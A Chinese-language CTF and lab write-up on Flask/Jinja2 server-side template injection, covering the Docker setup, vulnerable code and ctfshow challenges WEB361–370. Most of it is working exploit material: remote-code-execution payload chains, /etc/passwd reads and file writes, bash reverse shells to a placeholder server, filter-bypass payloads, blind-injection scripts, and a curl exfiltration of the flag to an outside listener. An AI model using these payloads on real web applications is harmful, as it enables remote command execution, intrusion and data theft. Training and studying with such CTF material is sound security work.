Flask(Jinja2)服务端模板注入漏洞

漏洞简介

flask/ssti漏洞,即: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。Jinja 2是一种面向Python的现代和设计友好的模板语言。

环境配置

启动docker

1
sudo docker-compose up -d

1

启动app.py

2

漏洞复现

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()

注入点

1
2
3
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()

函数利用get获取参数进入template,形成任意构造注入

尝试http://127.0.0.1:5000/?name={{6*6}}

3

官方漏洞利用

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
{% endif %}
{% endfor %}

url编码后

1
%7b%25%20for%20c%20in%20%5b%5d.__class__.__base__.__subclasses__()%20%25%7d%0a%7b%25%20if%20c.__name__%20%3d%3d%20'catch_warnings'%20%25%7d%0a%20%20%7b%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7d%0a%20%20%7b%25%20if%20b.__class__%20%3d%3d%20%7b%7d.__class__%20%25%7d%0a%20%20%20%20%7b%25%20if%20'eval'%20in%20b.keys()%20%25%7d%0a%20%20%20%20%20%20%7b%7b%20b%5b'eval'%5d('__import__(%22os%22).popen(%22id%22).read()')%20%7d%7d%0a%20%20%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endfor%20%25%7d%0a%7b%25%20endif%20%25%7d%0a%7b%25%20endfor%20%25%7d

4

成功复现

builtins是python的内建模块,所谓内建模块就是你在使用时不需要import,在python启
动后,在没有执行程序员编写的任何代码前,python会加载内建模块中的函数到内存中。比如经常
使用的abs(),str(),type()等。

python3 payload

1
2
3
4
{{().__class__.__base__.__subclasses__[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

{% for c in ().__class__.__bases__[0].__subclasses__() %}{% if c.__name__=="catch_warnings" %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

python2 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')

关闭dockers

1
sudo docker-compose down

大佬笔记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
__class__            类的一个内置属性,表示实例对象的类。

__base__ 类型对象的直接基类

__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__

__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。

__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

__init__ 初始化类,返回的类型是function

__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__

__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')

__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins____builtin__的区别就不放了,百度都有。

__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]

__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。

url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。

get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。

lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

current_app 应用上下文,一个全局变量。

request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()

request.args.x1 get传参

request.values.x1 所有参数

request.cookies cookies参数

request.headers 请求头参数

request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

request.data post传参 (Content-Type:a/b)

request.json post传json (Content-Type: application/json)

config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

g {{g}}得到<flask.g of 'flask_ssti'>

常用过滤器

int():将值转换为int类型;
 
float():将值转换为float类型;
 
lower():将字符串转换为小写;
 
upper():将字符串转换为大写;
 
title():把值中的每个单词的首字母都转成大写;
 
capitalize():把变量值的首字母转成大写,其余字母转小写;
 
trim():截取字符串前面和后面的空白字符;
 
wordcount():计算一个长字符串中单词的个数;
 
reverse():字符串反转;
 
replace(value,old,new): 替换将old替换为new的字符串;
 
truncate(value,length=255,killwords=False):截取length长度的字符串;
 
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
 
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
 
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'hello'|safe}};
 
list():将变量列成列表;
 
string():将变量转换成字符串;
 
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
 
abs():返回一个数值的绝对值;
 
first():返回一个序列的第一个元素;
 
last():返回一个序列的最后一个元素;
 
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
 
length():返回一个序列或者字典的长度;
 
sum():返回列表内数值的和;
 
sort():返回排序后的列表;
 
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
 
length()返回字符串的长度,别名是count

ctfshow-WEB361

5

hello, user_name

代码:

from flask import Flask,request,render_template_string
app = Flask(__name__)
 
@app.route('/', methods=['GET', 'POST'])
def index():
    name = request.args.get('name')
    template = '''
<html>
  <head>
    <title>SSTI</title>
  </head>
 <body>
      <h3>Hello, %s !</h3>
  </body>
</html>
        '''% (name)
    return render_template_string(template)
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

测试?name={{6*6}}

接下来看看如何构造payload

1、先找基类object,用空字符串””来找

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

使用?name={{().__class__}},得到空字符串的类<class 'str'>

点号. :python中用来访问变量的属性

__class__:类的一个内置属性,表示实例对象空字符串""的类。

然后使用?name={{().__class__.__base__}},得到(<class 'object'>)

__base__             类型对象的直接基类
__bases__           类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__

2、得到基类之后,找到这个基类的子类集合

使用?name={{().__class__.__base__.__subclasses__()}}

__subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag

上面找到这些类可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<class_frozen_importlib._ModuleLock> 80
<class_frozen_importlib._DummyModuleLock> 81
<class_frozen_importlib._ModuleLockManager> 82
<class ‘_frozen_importlib.ModuleSpec’> 83
<class ‘_frozen_importlib_external.FileLoader’> 94
<class_frozen_importlib_external._NamespacePath> 95
<class_frozen_importlib_external._NamespaceLoader> 96
<class ‘_frozen_importlib_external.FileFinder’> 98
<class ‘zipimport.zipimporter’> 105
<class ‘zipimport._ZipImportResourceReader’> 106
<class ‘codecs.IncrementalEncoder’> 108
<class ‘codecs.IncrementalDecoder’> 109
<class ‘codecs.StreamReaderWriter’> 110
<class ‘codecs.StreamRecoder’> 111
<class ‘os._wrap_close’> 134
<class ‘os._AddedDllDirectory’> 135
<class ‘_sitebuiltins.Quitter’> 136
<class_sitebuiltins._Printer> 137

这里使用其第80个类([0]是第一个类)<class '_frozen_importlib._ModuleLock'>

使用?name={{().__class__.__base__.__subclasses__()[80]}},得到<class '_frozen_importlib._ModuleLock'>

<class '_frozen_importlib._ModuleLock'>       这个类有个eval方法可以执行系统命令

4、实例化我们找到的类对象

使用?name={{().__class__.__base__.__subclasses__()[80].__init__}},实例化这个类

__init__             初始化类,返回的类型是function

5、找到这个实例化对象的所有方法

使用?name={{().__class__.__base__.__subclasses__()[80].__init__.__globals__}}

__globals__          使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。

6、根据方法寻找flag

?name={{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

eval()一个方法,用于执行命令

read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象
1
?name={{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

6

ctfshow-WEB363

过滤了单双引号,可以用request来绕过

1
?name={{().__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.x1][request.args.x2](request.args.x3)}}&x1=__builtins__&x2=eval&x3=__import__('os').popen('cat /flag').read()

ctfshow-WEB364

过滤引号和args,利用request的cookie

1
2
3
4
5
6
7
8
9
10
?name={{().__class__.__base__.__subclasses__()[80].__init__.__globals__[request.cookie.a][request.cookie.b](request.cookie.c)}}
cookie:a=__builtins__;b=eval;c=__import__('os').popen('cat /flag').read()

或者

GET:?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

GET:?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag

ctfshow-WEB365

过滤了引号,还有中括号

payload

GET:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

或者使用str[数字]进行字符串拼接

GET:?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
    ).read()}}

ctfshow-WEB366 367

过滤了下划线 用falsk自带的过滤器attr

1
2
3
4
5
6
7
8
GET:?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

或者
GET:?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

attr用于获取变量

1
2
3
4
5
""|attr("__class__")

相当于

"".__class__

常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

ctfshow-WEB368

{{被过滤,使用{%%}`绕过,再借助`print()`回显 用`{% %}是可以盲注的,我们这里盲注一下/flag文件的内容,原理就在于open('/flag').read()是回显整个文件,但是read函数里加上参数:open('/flag').read(1),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url="http://a7517952-2858-46dc-be5c-10157fac7909.challenge.ctf.show/"
flag=""
for i in range(1,100):
for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
params={
'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}feng{{% endif %}}".format(i),
'a':'__globals__',
'b':'__builtins__',
'c':'/flag',
'd':f'{flag+j}'
}
r=requests.get(url=url,params=params)
if "feng" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break

ctfshow-WEB369

把request给ban了,需要自己凑字符了,这里拿config来凑。一般我们想到的是使用str(),但是一个问题是_被ban了,所以str()用不了;这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者getitem(),但是问题是_和[ ]被ban了,所以获取字符串中的某个字符比较困难。这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#简单
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#读文件盲注
import requests
import string
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
url ='''http://b134fd30-bddc-4302-8578-8005b96f73c2.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{% set cmd2='''

s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):
print(i)
for j in s:
x=flag+j
u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'1341'+'{% endif%}'
#print(u)
r=requests.get(u)
if("1341" in r.text):
flag=x
print(flag)
break

ctfshow-WEB370

反弹shell,本地开启监听 nc -lvp 4567 等待反弹flag

import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):
    t=[]
    for i in range(len(s)):
        t.append(ord(s[i]))
    k=''
    t=list(set(t))
    for i in t:
        k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
    return k
def fun2(s):
    t=[]
    for i in range(len(s)):
        t.append(ord(s[i]))
    t=list(set(t))
    k=''
    for i in range(len(s)):
        if i<len(s)-1:
            k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
        else:
            k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
    return k    
url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
    %}
{%if x.eval(cmd)%}
    abc
    {%endif%}
'''
print(url)